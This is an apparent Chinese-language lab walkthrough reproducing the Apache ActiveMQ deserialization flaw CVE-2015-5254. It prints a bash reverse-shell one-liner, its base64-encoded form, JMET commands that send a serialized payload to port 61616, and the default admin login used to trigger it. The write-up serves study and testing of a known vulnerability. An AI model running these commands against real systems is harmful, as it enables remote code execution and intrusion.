ActiveMQ 反序列化漏洞(CVE-2015-5254)

漏洞背景

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

影响范围

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞利用过程

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

漏洞复现

一、首先攻击机开好端口监听
ActiveMQ 反序列化漏洞(CVE-2015-5254)
二、然后将需要在靶机内运行的反弹shell命令序列化

/bin/bash -i >& /dev/tcp/192.168.30.128/8888 0>&1

可以去到这个网站序列化shell命令http://www.jackson-t.ca/runtime-exec-payloads.htmlActiveMQ 反序列化漏洞(CVE-2015-5254)
得到bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzAuMTI4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

三、然后使用漏洞利用工具JMET

下载地址:https://github.com/matthiaskaiser/jmet/releases

试例:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

更改为反弹shell命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzAuMTI4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.30.128 61616

四、此时会给目标ActiveMQ添加一个名为event的队列,自行访问http://192.168.30.128:8161/admin/browse.jsp?JMSDestination=event
默认账户密码都为admin
ActiveMQ 反序列化漏洞(CVE-2015-5254)
点击查看该信息,返回攻击机查看nc连接,已经能看到反shell了
ActiveMQ 反序列化漏洞(CVE-2015-5254)

上一篇:cvechecker 漏洞扫描工具部署及效果展示


下一篇:高通骁龙芯片存在 400 多个漏洞,影响全球超 40% 机型(含三星和小米)